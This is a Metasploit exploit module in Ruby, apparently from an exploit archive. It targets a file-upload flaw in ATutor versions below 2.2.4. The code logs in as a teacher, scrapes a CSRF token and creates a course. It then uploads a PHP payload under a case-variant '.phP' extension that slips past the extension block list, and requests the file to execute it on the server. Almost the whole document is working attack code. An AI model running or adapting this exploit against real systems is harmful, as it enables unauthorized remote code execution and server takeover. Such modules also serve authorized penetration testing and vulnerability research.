ExploitFixes
ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit) 2019-04-12 16:05:05

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "ATutor < 2.2.4 'file_manager' Remote Code Execution",
'Description' => %q{
This module allows the user to run commands on the server with teacher user privilege.
The 'Upload files' section in the 'File Manager' field contains arbitrary file upload vulnerability.
The "$IllegalExtensions" function has control weakness and shortcomings.
It is possible to see illegal extensions within "constants.inc.php". (exe|asp|php|php3|php5|cgi|bat...)
However, there is no case-sensitive control. Therefore, it is possible to bypass control with filenames such as ".phP", ".Php"
It can also be used in dangerous extensions such as "shtml" and "phtml".
The directory path for the "content" folder is located at "config.inc.php".
For the exploit to work, the "define ('AT_CONTENT_DIR', 'address')" content folder must be located in the web home directory or the address must be known.

This exploit creates a course with the teacher user and loads the malicious php file into server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa AkkuĊŸ>', # Discovery & PoC & MSF Module
],
'References' =>
[
[ 'CVE', '' ],
[ 'URL', 'http://pentest.com.tr/exploits/ATutor-2-2-4-file-manager-Remote-Code-Execution-Injection-Metasploit.html' ],
[ 'URL', 'https://atutor.github.io/' ],
[ 'URL', 'http://www.atutor.ca/' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => '09 April 2019',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
OptString.new('USERNAME', [true, 'The Teacher Username to authenticate as']),
OptString.new('PASSWORD', [true, 'The Teacher password to authenticate with']),
OptString.new('CONTENT_DIR', [true, 'The content folder location', 'content'])
],self.class)
end

def exec_payload

send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "#{datastore['CONTENT_DIR']}", @course_id, "#{@fn}")
})
end

def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end

def print_status(msg='')
super("#{peer} - #{msg}")
end

def print_error(msg='')
super("#{peer} - #{msg}")
end

def print_good(msg='')
super("#{peer} - #{msg}")
end
##
# Version and Vulnerability Check
##
def check

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "#{datastore['CONTENT_DIR']}/")
})

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

if res.code == 404
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Appears
end
##
# csrftoken read and create a new course
##
def create_course(cookie, check)

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "_core", "courses", "users", "create_course.php"),
'headers' =>
{
'Referer' => "#{peer}#{datastore['TARGETURI']}users/index.php",
'cookie' => cookie,
},
'agent' => 'Mozilla'
})

if res && res.code == 200 && res.body =~ /Create Course: My Start Pag/
@token = res.body.split('csrftoken" value="')[1].split('"')[0]
else
return false
end

@course_name = Rex::Text.rand_text_alpha_lower(5)
post_data = Rex::MIME::Message.new
post_data.add_part(@token, nil, nil,'form-data; name="csrftoken"')
post_data.add_part('true', nil, nil, 'form-data; name="form_course"')
post_data.add_part(@course_name, nil, nil, 'form-data; name="title"')
post_data.add_part('top', nil, nil, 'form-data; name="content_packaging"')
post_data.add_part('protected', nil, nil, 'form-data; name="access"')
post_data.add_part('Save', nil, nil, 'form-data; name="submit"')
data = post_data.to_s

res = send_request_cgi({
'method' => 'POST',
'data' => data,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, "mods", "_core", "courses", "users", "create_course.php")
})

location = res.redirection.to_s
if res && res.code == 302 && location.include?('bounce.php?course')
@course_id = location.split('course=')[1].split("&p")[0]
return true
else
return false
end
end
##
# Upload malicious file // payload integration
##
def upload_shell(cookie, check)

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "bounce.php?course=" + @course_id),
'headers' =>
{
'Referer' => "#{peer}#{datastore['TARGETURI']}users/index.php",
'cookie' => cookie,
},
'agent' => 'Mozilla'
})

ucookie = "ATutorID=#{$2};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*);/

file_name = Rex::Text.rand_text_alpha_lower(8) + ".phP"
@fn = "#{file_name}"
post_data = Rex::MIME::Message.new
post_data.add_part('10485760', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
post_data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"uploadedfile\"; filename=\"#{file_name}\"")
post_data.add_part('Upload', nil, nil, 'form-data; name="submit"')
post_data.add_part('', nil, nil, 'form-data; name="pathext"')

data = post_data.to_s

res = send_request_cgi({
'method' => 'POST',
'data' => data,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => ucookie,
'uri' => normalize_uri(target_uri.path, "mods", "_core", "file_manager", "upload.php")
})

if res && res.code == 302 && res.redirection.to_s.include?('index.php?pathext')
print_status("Trying to upload #{file_name}")
return true
else
print_status("Error occurred during uploading!")
return false
end
end
##
# Password encryption with csrftoken
##
def get_hashed_password(token, password, check)
if check
return Rex::Text.sha1(password + token)
else
return Rex::Text.sha1(Rex::Text.sha1(password) + token)
end
end
##
# User login operations
##
def login(username, password, check)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "login.php"),
'agent' => 'Mozilla',
})

token = $1 if res.body =~ /\) \+ \"(.*)\"\);/
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/
if check
password = get_hashed_password(token, password, true)
else
password = get_hashed_password(token, password, false)
end

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "login.php"),
'vars_post' => {
'form_password_hidden' => password,
'form_login' => username,
'submit' => 'Login'
},
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/

if res && res.code == 302
if res.redirection.to_s.include?('bounce.php?course=0')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, res.redirection),
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, res.redirection),
'cookie' => cookie,
'agent' => 'Mozilla'
})
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
return cookie
end
else res.redirection.to_s.include?('admin/index.php')
fail_with(Failure::NoAccess, 'The account is the administrator. Please use a teacher account!')
return cookie
end
end

fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
return nil
end
##
# Exploit controls and information
##
def exploit
tcookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
print_good("Logged in as #{datastore['USERNAME']}")

if create_course(tcookie, true)
print_status("CSRF Token : " + @token)
print_status("Course Name : " + @course_name + " Course ID : " + @course_id)
print_good("New course successfully created.")
end

if upload_shell(tcookie, true)
print_good("Upload successfully.")
print_status("Trying to exec payload...")
exec_payload
end
end
end
##
# The end of the adventure (o_O) // AkkuS
##